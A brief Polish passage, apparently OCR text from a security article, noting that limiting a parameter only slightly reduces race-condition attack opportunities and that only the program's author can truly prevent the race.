(rnk _max). Nie jest to jednak rozwigzanie problemu,
a jedynie nieznaczne ograniczenie mozliwosci ataku.
Zapobiec sytuacji wyscigu moze jedynie twdrca pro-
gramu. |
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